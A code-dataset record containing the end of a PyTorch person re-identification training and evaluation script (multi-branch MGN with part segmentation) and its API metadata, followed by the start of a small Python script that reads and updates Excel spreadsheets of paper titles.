num_workers=num_workers)\n\n g_set = dclass(transform=test_transform, training=False, use_kpt=args.pap, split='gallery', **ps_kwargs)\n g_flip_set = dclass(transform=test_flip_transform, training=False, use_kpt=args.pap, split='gallery', **ps_kwargs)\n g_loader = DataLoader(g_set, batch_size=batch_test, num_workers=num_workers)\n g_flip_loader = DataLoader(g_flip_set, batch_size=batch_test, num_workers=num_workers)\n\n return q_loader, q_flip_loader, g_loader, g_flip_loader\n\n def make_test_loader(name):\n if name in ['market1501', 'cuhk03', 'duke']:\n return make_test_loader_M_C_D(get_dataset_root(name), name)\n elif name in ['msmt17', 'partial_reid', 'partial_ilids']:\n return make_test_loader_MS_PR_PI(name)\n\n test_loaders = [make_test_loader(name) for name in testset_names]\n\n mgn = MGN(len(train_dataset.unique_ids), args, ps_n_classes)\n if torch.cuda.device_count() > 1:\n mgn = nn.DataParallel(mgn)\n mgn = mgn.to(DEVICE)\n vanilla_cross_entropy_loss = nn.CrossEntropyLoss()\n cross_entropy_loss = nn.CrossEntropyLoss(reduce=False)\n triplet_semihard_loss = TripletSemihardLoss(margin=0.1, DEVICE = DEVICE, sampling = sampling, batch_id = batch_id, batch_image = batch_image) #batch_hard, .'curriculum'\n ps_loss = PSLoss()\n\n optimizer_start1 = optim.SGD(mgn.parameters(), lr=lr_1, momentum=0.9, weight_decay=weight_decay)\n optimizer_start2 = optim.SGD(mgn.parameters(), lr=lr_2, momentum=0.9, weight_decay=weight_decay)\n scheduler_1 = optim.lr_scheduler.MultiStepLR(optimizer_start1, [140, 180], gamma=0.1)\n scheduler_2 = optim.lr_scheduler.MultiStepLR(optimizer_start2, [140, 180], gamma=0.1) # best [140, 180] [120, 160]\n\n def get_model_input(inputs, target):\n dic = {'im': inputs.to(DEVICE)}\n if 'pap_mask_2p' in target:\n dic['pap_mask_2p'] = target['pap_mask_2p'].to(DEVICE)\n dic['pap_mask_3p'] = target['pap_mask_3p'].to(DEVICE)\n return dic\n\n def extract_loader_feat(loader, verbose=False):\n feat = []\n vis = []\n i = 0\n for inputs, target in loader:\n if verbose:\n print(i)\n i += 1\n with torch.no_grad():\n output = mgn(get_model_input(inputs, target))\n feat.append(output[1].detach().cpu().numpy())\n if args.pap:\n vis_ = np.concatenate([np.ones([len(output[1]), 3]), torch.stack(output[5+3+5:5+3+5+5], 1).detach().cpu().numpy()], 1)\n vis.append(vis_)\n feat = np.concatenate(feat)\n vis = np.concatenate(vis) if args.pap else None\n return feat, vis\n\n def test(query_loader, query_flip_loader, test_loader, test_flip_loader, trainset_name, testset_name, epoch, verbose=False):\n cache_file = '{}/feat_cache-{}_to_{}.pkl'.format(exp_dir, trainset_name, testset_name)\n if args.use_feat_cache:\n assert os.path.exists(cache_file), \"Feature cache file {} does not exist!\".format(cache_file)\n query_2, q_vis, query_flip_2, q_vis, test_2, test_vis, test_flip_2, test_vis, q_ids, q_cams, g_ids, g_cams = load_pickle(cache_file)\n else:\n query_2, q_vis = extract_loader_feat(query_loader, verbose=verbose)\n query_flip_2, q_vis = extract_loader_feat(query_flip_loader, verbose=verbose)\n\n test_2, test_vis = extract_loader_feat(test_loader, verbose=verbose)\n test_flip_2, test_vis = extract_loader_feat(test_flip_loader, verbose=verbose)\n\n q_ids = query_loader.dataset.ids\n q_cams = query_loader.dataset.cameras\n g_ids = test_loader.dataset.ids\n g_cams = test_loader.dataset.cameras\n save_pickle([query_2, q_vis, query_flip_2, q_vis, test_2, test_vis, test_flip_2, test_vis, q_ids, q_cams, g_ids, g_cams], cache_file)\n\n if args.test_which_feat > 0:\n # TODO: implement for pap\n idx = args.test_which_feat\n query_2 = query_2[:, 256*idx-256:256*idx]\n query_flip_2 = query_flip_2[:, 256*idx-256:256*idx]\n test_2 = test_2[:, 256*idx-256:256*idx]\n test_flip_2 = test_flip_2[:, 256*idx-256:256*idx]\n\n query = normalize(query_2 + query_flip_2)\n test = normalize(test_2 + test_flip_2)\n\n if verbose:\n print('query.shape:', query.shape)\n print('test.shape:', test.shape)\n if args.pap:\n print('q_vis.shape:', q_vis.shape)\n print('test_vis.shape:', test_vis.shape)\n\n if args.pap:\n dist_1 = compute_dist_with_visibility(query, test, q_vis, test_vis, dist_type='euclidean', avg_by_vis_num=False)\n else:\n dist_1 = cdist(query, test)\n r_1 = cmc(dist_1, q_ids, g_ids, q_cams, g_cams,\n separate_camera_set=False,\n single_gallery_shot=False,\n first_match_break=True)\n m_ap_1 = mean_ap(dist_1, q_ids, g_ids, q_cams, g_cams)\n print('EPOCH [%d] %s -> %s: mAP=%f, r@1=%f, r@3=%f, r@5=%f, r@10=%f' % (epoch + 1, trainset_name, testset_name, m_ap_1, r_1[0], r_1[2], r_1[4], r_1[9]))\n\n if args.only_test:\n mgn.eval()\n if not args.use_feat_cache:\n if args.model_weight_file:\n model_weight_file = args.model_weight_file\n else:\n model_weight_file = '{}/model_weight.pth'.format(exp_dir)\n load_model_weight((mgn.module if hasattr(mgn, 'module') else mgn), model_weight_file)\n for name, test_loader in zip(testset_names, test_loaders):\n test(test_loader[0], test_loader[1], test_loader[2], test_loader[3], trainset_name, name, -1, verbose=False)\n exit()\n\n for epoch in range(epochs):\n mgn.train()\n scheduler_1.step()\n scheduler_2.step()\n running_loss = 0.0\n running_loss_1 = 0.0\n running_loss_2 = 0.0\n if epoch < 20:\n optimizer_1 = optim.SGD(mgn.parameters(), lr=0.01+0.0045*epoch, momentum=0.9, weight_decay=weight_decay)\n optimizer_2 = optim.SGD(mgn.parameters(), lr=0.001+0.00045*epoch, momentum=0.9, weight_decay=weight_decay) \n else:\n optimizer_1 = optimizer_start1\n optimizer_2 = optimizer_start2\n \n for i, data in enumerate(train_loader):\n inputs, target = data\n inputs = inputs.to(DEVICE)\n for k, v in target.items():\n target[k] = v.to(DEVICE)\n labels = target['id']\n outputs = mgn(get_model_input(inputs, target))\n optimizer_1.zero_grad()\n if args.pap:\n losses_1 = [vanilla_cross_entropy_loss(output, labels) for output in outputs[5:5+3]] + [(cross_entropy_loss(output, labels) * v).sum() / (v.sum() + 1e-12) for output, v in zip(outputs[5+3:5+3+5], outputs[5+3+5:5+3+5+5])]\n else:\n losses_1 = [vanilla_cross_entropy_loss(output, labels) for output in outputs[5:5+8]]\n loss_1 = sum(losses_1) / len(losses_1)\n psl = 0\n if args.src_ps_lw > 0:\n psl = (ps_loss(outputs[-3], target['ps_label']) + ps_loss(outputs[-2], target['ps_label']) + ps_loss(outputs[-1], target['ps_label'])) / 3.\n (loss_1 + psl * args.src_ps_lw).backward()\n if args.cd_ps_lw > 0:\n cd_inputs, cd_targets = cd_train_loader.next_batch()\n cd_inputs = cd_inputs.to(DEVICE)\n for k, v in cd_targets.items():\n cd_targets[k] = v.to(DEVICE)\n pap_old = args.pap\n args.pap = False\n outputs = mgn(get_model_input(cd_inputs, cd_targets))\n args.pap = pap_old\n cd_psl = (ps_loss(outputs[-3], cd_targets['ps_label']) + ps_loss(outputs[-2], cd_targets['ps_label']) + ps_loss(outputs[-1], cd_targets['ps_label'])) / 3.\n (cd_psl * args.cd_ps_lw).backward()\n optimizer_1.step()\n\n outputs = mgn(get_model_input(inputs, target))\n optimizer_2.zero_grad()\n losses_2 = [triplet_semihard_loss(output, labels, epoch) for output in outputs[2:5]]\n loss_2 = sum(losses_2) / len(losses_2)\n psl = 0\n if args.src_ps_lw > 0:\n psl = (ps_loss(outputs[-3], target['ps_label']) + ps_loss(outputs[-2], target['ps_label']) + ps_loss(outputs[-1], target['ps_label'])) / 3.\n (loss_2 + psl * args.src_ps_lw).backward()\n if args.cd_ps_lw > 0:\n cd_inputs, cd_targets = cd_train_loader.next_batch()\n cd_inputs = cd_inputs.to(DEVICE)\n for k, v in cd_targets.items():\n cd_targets[k] = v.to(DEVICE)\n pap_old = args.pap\n args.pap = False\n outputs = mgn(get_model_input(cd_inputs, cd_targets))\n args.pap = pap_old\n cd_psl = (ps_loss(outputs[-3], cd_targets['ps_label']) + ps_loss(outputs[-2], cd_targets['ps_label']) + ps_loss(outputs[-1], cd_targets['ps_label'])) / 3.\n (cd_psl * args.cd_ps_lw).backward()\n optimizer_2.step()\n\n running_loss_1 += loss_1.item()\n running_loss_2 += loss_2.item()\n running_loss = running_loss + (loss_1.item() + loss_2.item())/2.0\n\n print('%d/%d - %d/%d - loss: %f - ps_loss: %f - cd_ps_loss: %f' % (epoch + 1, epochs, i, len(train_loader), (loss_1.item() + loss_2.item())/2, psl.item() if isinstance(psl, torch.Tensor) else 0, cd_psl.item() if args.cd_ps_lw > 0 else 0))\n print('epoch: %d/%d - loss1: %f' % (epoch + 1, epochs, running_loss_1 / len(train_loader)))\n print('epoch: %d/%d - loss2: %f' % (epoch + 1, epochs, running_loss_2 / len(train_loader)))\n\n # if (epoch + 1) % 50 == 0:\n # model_weight_file = '{}/model_weight.pth'.format(exp_dir)\n # save_model(mgn, model_weight_file)\n # mgn.eval()\n # for name, test_loader in zip(testset_names, test_loaders):\n # test(test_loader[0], test_loader[1], test_loader[2], test_loader[3], trainset_name, name, epoch)\n model_weight_file = '{}/model_weight.pth'.format(exp_dir)\n save_model(mgn, model_weight_file)\n mgn.eval()\n for name, test_loader in zip(testset_names, test_loaders):\n test(test_loader[0], test_loader[1], test_loader[2], test_loader[3], trainset_name, name, epoch)\n\n\nclass CommaSeparatedSeq(object):\n def __init__(self, seq_class=tuple, func=int):\n self.seq_class = seq_class\n self.func = func\n\n def __call__(self, s):\n return self.seq_class([self.func(i) for i in s.split(',')])\n\n\ndef str2bool(v):\n \"\"\"From https://github.com/amdegroot/ssd.pytorch\"\"\"\n return v.lower() in (\"yes\", \"true\", \"t\", \"1\")\n\n\nif __name__ == '__main__':\n print('Used Python:', sys.executable)\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--gpuId', type=str, default='0', help='input gpu id')\n parser.add_argument('-e', '--epochs', type=int, default=200, help='input training epochs')\n parser.add_argument('-w', '--weight_decay', type=float, default=5e-4)\n parser.add_argument('--batch_id', type=int, default=2)\n parser.add_argument('--batch_image', type=int, default=4)\n parser.add_argument('--lr_1', type=float, default = .1)\n parser.add_argument('--lr_2', type=float, default = .01)\n parser.add_argument('--rand_crop', type=eval, default=True, help='Either True or False')\n parser.add_argument('--erasing_p', type=float, default = 0.5)\n parser.add_argument('--sampling', type=str, default = 'batch_hard')\n parser.add_argument('--exp_dir', type=str)\n parser.add_argument('--trainset_name', type=str)\n parser.add_argument('--cd_trainset_name', type=str)\n parser.add_argument('--cd_train_batch_size', type=int, default=16*8)\n parser.add_argument('--head_1part_stride', type=int, default=2)\n parser.add_argument('--pap', type=eval, default=False, help='Either True or False')\n parser.add_argument('--src_ps_lw', type=float, default=0)\n parser.add_argument('--cd_ps_lw', type=float, default=0)\n parser.add_argument('--only_test', type=eval, default=False, help='Either True or False')\n parser.add_argument('--model_weight_file', type=str, default='')\n parser.add_argument('--testset_names', type=CommaSeparatedSeq(list, str), default=['market1501', 'cuhk03', 'duke', 'msmt17'])\n parser.add_argument('--ps_head_arch', type=str, default='PartSegHeadDeconvConv')\n parser.add_argument('--ps_fuse_type', type=str, default='None')\n parser.add_argument('--use_feat_cache', type=str2bool, default=False)\n parser.add_argument('--test_which_feat', type=int, default=-1, help='Either -1 or one of 1,2,3,4,5,6,7,8')\n parser.add_argument('--ps_label_root', type=str, default='None')\n\n args = parser.parse_args()\n print(args)\n time_start = time.time()\n run(args)\n elapsed = round(time.time() - time_start)\n elapsed = str(datetime.timedelta(seconds=elapsed))\n print('Elapsed {}'.format(elapsed))\n", "sub_path": "mgn_pap_ps_erase_ps_label.py", "file_name": "mgn_pap_ps_erase_ps_label.py", "file_ext": "py", "file_size_in_byte": 31439, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.nn.Module", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torchvision.models.resnet.resnet50", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "name"}, {"api_name": "torchvision.models.resnet.Bottleneck", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 63, "usage_type": "call"}, {"api_name": "torchvision.models.resnet.Bottleneck", "line_number": 64, "usage_type": "call"}, {"api_name": "torchvision.models.resnet.Bottleneck", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 81, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 83, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 84, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 88, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 88, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 90, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 91, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 92, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 93, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 94, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 95, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 96, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 101, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 105, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 106, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 110, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 124, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 124, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 125, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 126, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.nn.init.normal_", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 140, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 140, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 141, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 145, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 145, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 146, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 150, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 150, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 151, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 152, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 152, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 156, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 156, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 157, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 157, "usage_type": "name"}, {"api_name": "pa_pool.pa_max_pool", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn.functional.max_pool2d", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 180, "usage_type": "name"}, {"api_name": "pa_pool.pa_max_pool", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.nn.functional.max_pool2d", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 189, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path", "line_number": 240, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 240, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path", "line_number": 241, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 245, "usage_type": "call"}, {"api_name": "os.path", "line_number": 245, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 246, "usage_type": "call"}, {"api_name": "os.path", "line_number": 246, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 293, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 293, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 293, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.Resize", "line_number": 299, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 299, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomCrop", "line_number": 299, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 301, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 301, "usage_type": "name"}, {"api_name": "random_erasing_w_ps_label.RandomErasingWithPS", "line_number": 303, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 304, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 304, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 305, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 305, "usage_type": "name"}, {"api_name": "market1501_erase_ps_label.Market1501", "line_number": 338, "usage_type": "call"}, {"api_name": "msmt17_erase_ps_label.MSMT17", "line_number": 352, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 364, "usage_type": "call"}, {"api_name": "market1501_erase_ps_label.RandomIdSampler", "line_number": 365, "usage_type": "call"}, {"api_name": "market1501_erase_ps_label.Market1501", "line_number": 373, "usage_type": "call"}, {"api_name": "msmt17_erase_ps_label.MSMT17", "line_number": 375, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 378, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 382, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 382, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 383, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 383, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 384, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 384, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 385, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 385, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 387, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 387, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 388, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 388, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.hflip", "line_number": 389, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.functional", "line_number": 389, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 390, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 390, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 391, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 391, "usage_type": "name"}, {"api_name": "market1501_erase_ps_label.Market1501", "line_number": 395, "usage_type": "call"}, {"api_name": "market1501_erase_ps_label.Market1501", "line_number": 396, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 397, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 398, "usage_type": "call"}, {"api_name": "market1501_erase_ps_label.Market1501", "line_number": 400, "usage_type": "call"}, {"api_name": "market1501_erase_ps_label.Market1501", "line_number": 401, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 402, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 403, "usage_type": "call"}, {"api_name": "msmt17_erase_ps_label.MSMT17", "line_number": 409, "usage_type": "name"}, {"api_name": "partial_reid.PartialREID", "line_number": 412, "usage_type": "name"}, {"api_name": "partial_ilids.PartialiLIDs", "line_number": 414, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 419, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 420, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 424, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 425, "usage_type": "call"}, {"api_name": "torch.cuda.device_count", "line_number": 438, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 438, "usage_type": "attribute"}, {"api_name": "torch.nn.DataParallel", "line_number": 439, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 439, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 441, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 441, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 442, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 442, "usage_type": "name"}, {"api_name": "easy2hard_triplet.TripletSemihardLoss", "line_number": 443, "usage_type": "call"}, {"api_name": "ps_loss.PSLoss", "line_number": 444, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 446, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 446, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 447, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 447, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.MultiStepLR", "line_number": 448, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 448, "usage_type": "attribute"}, {"api_name": "torch.optim", "line_number": 448, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.MultiStepLR", "line_number": 449, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 449, "usage_type": "attribute"}, {"api_name": "torch.optim", "line_number": 449, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 466, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 470, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 472, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 473, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 479, "usage_type": "call"}, {"api_name": "os.path", "line_number": 479, "usage_type": "attribute"}, {"api_name": "file_utils.load_pickle", "line_number": 480, "usage_type": "call"}, {"api_name": "file_utils.save_pickle", "line_number": 492, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 502, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 503, "usage_type": "call"}, {"api_name": "np_distance.compute_dist_with_visibility", "line_number": 513, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 515, "usage_type": "call"}, {"api_name": "__init__.cmc", "line_number": 516, "usage_type": "call"}, {"api_name": "__init__.mean_ap", "line_number": 520, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 543, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 543, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 544, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 544, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 604, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 636, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 637, "usage_type": "call"}, {"api_name": "time.time", "line_number": 667, "usage_type": "call"}, {"api_name": "time.time", "line_number": 669, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 670, "usage_type": "call"}]} +{"seq_id": "200438019", "text": "from re import L\r\nimport requests\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium import webdriver\r\nfrom lxml import etree\r\nimport os\r\nfrom time import sleep\r\nimport xlrd\r\nimport win32api\r\nimport win32con\r\nimport xlsxwriter as xw\r\nfrom openpyxl import load_workbook\r\n\r\ndef Load_number_ExcelDone(path,list,n=0):\r\n data=xlrd.open_workbook(path)\r\n table=data.sheets()[0]\r\n nrows=table.nrows\r\n for i in range(nrows):\r\n try:list.append(int(float(table.row_values(i)[n])))\r\n except:\r\n continue\r\n print(list)\r\n\r\ndef load_Content_Excel(path,lists,number=9999,n=7):\r\n data=xlrd.open_workbook(path)\r\n table=data.sheets()[0]\r\n nrows=table.nrows\r\n if nrows>number:\r\n nrows=number\r\n for i in range(nrows):\r\n if i<=1:\r\n continue\r\n elif table.row_values(i)[n]==table.row_values(i-1)[n]:\r\n continue\r\n else :\r\n s=paper(i,table.row_values(i)[n],0,0)\r\n lists.append(s)\r\n\r\ndef add_information_excel(filepath,paper):\r\n workbook=load_workbook(filepath+'.xlsx')\r\n wb=workbook.active\r\n for p in paper:\r\n column_n='A'+str(p.n)\r\n column_name='B'+str(p.n)\r\n column_wos='C'+str(p.n)\r\n column_url='D'+str(p.n)\r\n wb[column_n]=p.n\r\n wb[column_name]=p.name\r\n wb[column_wos]=p.wos\r\n wb[column_url]=p.url\r\n 